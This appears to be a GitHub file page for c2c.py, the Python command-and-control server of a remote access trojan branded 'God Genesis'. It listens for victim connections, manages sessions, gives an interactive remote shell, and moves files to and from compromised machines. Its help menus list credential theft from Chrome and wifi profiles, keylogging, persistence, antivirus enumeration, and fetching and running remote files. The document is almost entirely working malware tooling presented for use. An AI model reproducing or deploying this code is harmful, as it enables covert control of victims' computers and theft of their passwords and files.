-
Notifications
You must be signed in to change notification settings - Fork 101
/
c2c.py
324 lines (256 loc) · 13.3 KB
/
c2c.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
import socket
import os
import json
from colorama import Fore
import threading
import readline
def completer(text, state):
options = [i for i in commands if i.startswith(text)]
if state < len(options):
return options[state]
else:
return None
readline.parse_and_bind("tab: complete")
readline.set_completer(completer)
print(Fore.GREEN + '''\n
_,.-------.,_
,;~' '~;,
,; ;,
; ;
,' ',
,; ;,
; ; . . ; ;
| ; ______ ______ ; |
| `/~" ~" . "~ "~\' |
| ~ ,-~~~^~, | ,~^~~~-, ~ |
| | }:{ | |
| l / | \ ! |
.~ (__,.--" .^. "--.,__) ~.
| ---;' / | \ `;--- |
\__. \/^\/ .__/
V| \ / |V
| |T~\___!___!___/~T| |
| |`IIII_I_I_I_IIII'| |
| \,III I I I III,/ |
\ `~~~~~~~~~~' /
\ . . /
\. ^ ./
^~~~^~~~^
Ǥ ㄖ ㄖ Ð ㄥ ㄩ 匚 Ҝ 卄 卂 乂 ㄖ 尺
░██████╗░░█████╗░██████╗░ ░██████╗░███████╗███╗░░██╗███████╗░██████╗██╗░██████╗
██╔════╝░██╔══██╗██╔══██╗ ██╔════╝░██╔════╝████╗░██║██╔════╝██╔════╝██║██╔════╝
██║░░██╗░██║░░██║██║░░██║ ██║░░██╗░█████╗░░██╔██╗██║█████╗░░╚█████╗░██║╚█████╗░
██║░░╚██╗██║░░██║██║░░██║ ██║░░╚██╗██╔══╝░░██║╚████║██╔══╝░░░╚═══██╗██║░╚═══██╗
╚██████╔╝╚█████╔╝██████╔╝ ╚██████╔╝███████╗██║░╚███║███████╗██████╔╝██║██████╔╝
░╚═════╝░░╚════╝░╚═════╝░ ░╚═════╝░╚══════╝╚═╝░░╚══╝╚══════╝╚═════╝░╚═╝╚═════╝░
-- Fʀᴏᴍ Tʜᴇ Hᴏᴜsᴇ Oғ IEM(BCA) Mᴀᴅᴇ Bʏ Tᴇᴀᴍ BCAN 420 ''')
def sendtoall(target,data):
json_data = json.dumps(data)
connection_to_attacker.send(json_data.encode())
def server():
while True:
if stop_threads:
break
connection_to_victim.settimeout(1)
try:
target, ip = connection_to_victim.accept()
targets.append(target)
ips.append(ip)
print(str(ip) + " Has Connected To GOD GENESIS." )
except:
pass
def shell(target, ip):
def reliable_send(data):
json_data = json.dumps(data)
target.send(json_data.encode())
def reliable_recv():
data = ""
while True:
try:
data = data + target.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def download_file(file_name):
f = open(file_name, 'wb')
#target.settimeout(1)
while True:
chunk = target.recv(1024)
if chunk.endswith('DONE'.encode()):
f.write(chunk[:-4])
f.close()
break
f.write(chunk)
def upload_file(file_name):
f = open(file_name, 'rb')
packet = f.read(1024)
while len(packet) > 0:
target.send(packet)
packet = f.read(1024)
target.send('DONE'.encode())
while True:
command = input("Shell> ")
reliable_send(command)
if command == 'terminate':
target.close()
targets.remove(target)
ips.remove(target)
break
elif command == 'exit':
break
elif command == 'clear':
os.system('clear')
elif command[:3] == 'cd ':
files = reliable_recv()
print("Current Directory: ",files)
pass
elif command[:3] == 'pwd':
files = reliable_recv()
print("You are now at: ", files)
elif command[:9] == 'download ':
download_file(command[9:])
elif command[:7] == 'upload ':
upload_file(command[7:])
elif command == 'user':
detail = reliable_recv()
print("The User Name Is : ",detail)
elif command == 'info':
result = reliable_recv()
print(result)
elif command == 'sc':
result = reliable_recv()
print(result)
elif command == 'start':
pass
elif command == 'env':
env_var = reliable_recv()
print(env_var)
elif command == 'av':
result=reliable_recv()
print(result)
elif command == 'python3_install':
pass
elif command == 'keylogger':
print("Started")
continue
elif command == "help":
print('''\n
===================================================================================================
BASIC COMMANDS:
===================================================================================================
help --> Show This Options
terminate --> Exit The Shell Completely
exit --> Shell Works In Background And Prompted To C2 Server
clear --> Clear The Previous Outputs
===================================================================================================
SYSTEM COMMANDS:
===================================================================================================
cd --> Change Directory
pwd --> Prints Current Working Directory
mkdir *dir_name* --> Creates A Directory Mentioned
rm *dir_name* --> Deletes A Directoty Mentioned
powershell [command] --> Run Powershell Command
start *exe_name* --> Start Any Executable By Giving The Executable Name
===================================================================================================
INFORMATION GATHERING COMMANDS:
===================================================================================================
env --> Checks Enviornment Variables
sc --> Lists All Services Running
user --> Current User
info --> Gives Us All Information About Compromised System
av --> Lists All antivirus In Compromised System
===================================================================================================
DATA EXFILTRATION COMMANDS:
===================================================================================================
download *file_name* --> Download Files From Compromised System
upload *file_name* --> Uploads Files To Victim Pc
===================================================================================================
EXPLOITATION COMMANDS:
===================================================================================================
persistence1 --> Persistance Via Method 1
persistence2 --> Persistance Via Method 2
get --> Download Files From Any URL
chrome_pass_dump --> Dump All Stored Passwords From Chrome Bowser
wifi_password --> Dump Passwords Of All Saved Wifi Networks
keylogger --> Starts Key Logging Via Keylogger
dump_keylogger --> Dump All Logs Done By Keylogger
python_install --> Installs Python In Victim Pc Without UI
''')
else:
result = reliable_recv()
print(result)
ips = []
targets = []
stop_threads = False
connection_to_victim = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection_to_victim.bind(("192.168.0.105", 8081))
connection_to_victim.listen(10)
t1 = threading.Thread(target=server)
t1.start()
print("[+] Listening For Incoming Connection \n")
while True:
command = input("God Genesis Command & Control Server: ")
if command == "sessions -l":
count = 0
for ip in ips:
print("Session " + str(count) + " : " + str(ip))
count += 1
elif command[:11] == "sessions -i":
try:
num = int(command[12:])
targets_num = targets[num]
targets_ip = ips[num]
shell(targets_num, targets_ip)
except:
print("GOD GENESIS doesn't recognize any session with that number")
elif command == 'clear':
os.system('clear')
elif command[:7] == 'sendall':
x = len(targets)
print(x)
i = 0
try:
while i < x:
tarnumber = targets[i]
print(tarnumber)
sendtoall(tarnumber, command)
i += 1
except:
print('Failed')
elif command == 'shell_help':
print('''\n
help --> Show this options
terminate --> Exit the shell
clear --> Clear the previous outputs
cd --> Change Directory
pwd --> Prints Current Working Directory
python_install --> Installs python in victim pc
env --> Checks Enviornment Variables
sc --> Lists all services running
user --> Current user
info --> Gives us full information about victim pc
download --> Download files from compromised system
upload --> uploads file to victim pc
persistence1 --> Persistance via method 1
persistence2 --> Persistance via method 2
get --> Sends file from attacker pc and executes at victim pc
av --> Lists all antivirus
chrome_pass_dump --> Dump all stored passwords in chrome browser
wifi_password --> Dump passwords of all saved wifi networks
keyboard_capture --> Starts logging via keylogger
dump_keylogger --> Dump all logs done by keylogger as of now
powershell [command] --> Run Powershell Command
start --> Start any executable by giving the executable name
sessions -l --> List Down All The Victims Connected To C2 Server
sessions -i [session number] --> Interact With Each Sessions Individually
sendall --> Send Same Command To All The Victim's System
''')
elif command == 'help':
print("""
sessions -l --> List Down All The Victims Connected To C2 Server
sessions -i [session number] --> Interact With Each Sessions Individually
sendall --> Send Same Command To All The Victim's System
shell_help --> All commands before and after getting shell
""")
else:
print("Command Not Found")